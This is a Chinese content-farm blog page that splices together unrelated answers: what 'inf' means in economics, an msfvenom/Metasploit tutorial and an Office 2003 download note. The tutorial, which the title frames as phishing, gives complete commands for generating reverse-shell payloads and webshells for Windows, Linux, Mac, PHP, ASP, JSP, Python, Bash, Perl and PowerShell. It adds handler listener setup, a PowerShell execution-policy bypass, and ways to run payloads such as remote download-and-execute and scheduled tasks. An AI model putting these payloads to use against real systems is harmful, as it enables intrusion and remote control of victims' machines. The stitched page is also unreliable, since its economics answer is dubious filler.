×

inf f 是什么意思

inf在经济学中是什么意思?msf生成php命令钓鱼

admin admin 发表于2022-05-18 21:16:31 浏览147 评论0

抢沙发发表评论

inf在经济学中是什么意思


意思是讯链币。
在经济学中,inf是InfChain的简称,中文名为讯链币,是一款点对点的分布式网络货币系统,提供针对国内话费充值、流量充值、国际通信服务等多种全球通信应用保障。
INF是时代的翻新币,是把平台上一些流通性差、没人维护、没人关注的币整合成的一个新币。

msf生成php命令钓鱼


操作步骤如下:
msf作为一款强大的漏洞检测工具,如何生成适用于msf的payload以及如何利用是使用msf的关键,今天就主要记录一下常用的payload以及如何使用。生成payload使用的工具是MSFVenom,下面看看他的帮助信息。
在kali下可以使用如下命令列出MSFVenom可以生成的payload列表:
msfvenom -l
4220024261.jpg
生成二进制文件
关于二进制文件,主要介绍适用于Windows、linux、mac操作系统的payload生成与利用。
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe 》 shell.exe
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf 》 shell.elf
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho 》 shell.macho
如何利用
针对这个部分就以Windows为例,使用上面的命令生成一个exe的payload,命令如下:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.128 LPORT=4444 -f exe 》 shell.exe
1422049322.jpg
复制shell.exe到Windows机器,然后kali下开启msf使用如下命令监听4444端口:
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.88.128
set LPORT 4444
set ExitOnSession false
exploit -j -z
执行完之后在Windows下执行shell.exe,然后结果如图:
4242973773.jpg
在这里既然使用到了在Windows下执行应用程序,我们就大概盘点一下在Windows执行应用程序的几种方式:
双击运行
cmd下运行exe
利用Powershell远程下载执行
利用at或schtasks设置计划任务执行
利用wmic远程命令执行
生成webshell脚本
在做web渗透的时候,经常会用到webshell,我们经常用的一句话用菜刀连接,如何使用MSFVenom生成一个可以用msf操作的webshell呢?
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw 》 shell.php
cat shell.php | pbcopy && echo ’ shell.php && pbpaste 》》 shell.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp 》 shell.asp
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw 》 shell.jsp
WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war 》 shell.war
如何利用
下面以php为例做一下测试,使用以下命令生成一个webshell:
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.88.128 LPORT=4444 -f raw 》 shell.php
在kali上使用msf执行下面的命令,监听端口4444:
msfconsole
use exploit/multi/handler
set PAYLOAD php/meterpreter_reverse_tcp
set LHOST 192.168.88.128
set LPORT 4444
set ExitOnSession false
exploit -j -z
将shell.php放在web目录下,使用浏览器访问,或者使用以下命令执行:
php shell.php
1763517592.jpg
脚本shell
关于使用脚本反弹shell的方式,主要以python、bash、perl为例。
Python
msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw 》 shell.py
Bash
msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw 》 shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw 》 shell.pl
Powershell
msfvenom -p windows/x64/meterpreter_reverse_http LHOST= LPORT= -f psh 》 shell.ps1
powershell.exe -ExecutionPolicy Bypass -File shell.ps1

办公软件下载office2003免费下载


各大下载站都有office2003的免费下载,自行搜索下载即可。

建议到信誉较好的大IT站点下载。


Microsoft Office 2003 是微软公司针对 Windows 操作系统所推出的办公室套装软件,于 2003 年 9 月 17 日推出,其前一代产品为 Office XP,后一代产品为 Office 2007。微软公司为了重新订定 Office 品牌形象,设计新的产品标志2,此外也添加了两个新软件成员,InfoPath 和 OneNote。Office 2003 是 Office 系列第一个使用 Windows XP 接口的图标和配色。Office 2003 只能在基于Windows NT 架构的操作系统上运行,因此并不支持 Windows 98 和 Windows Me。-f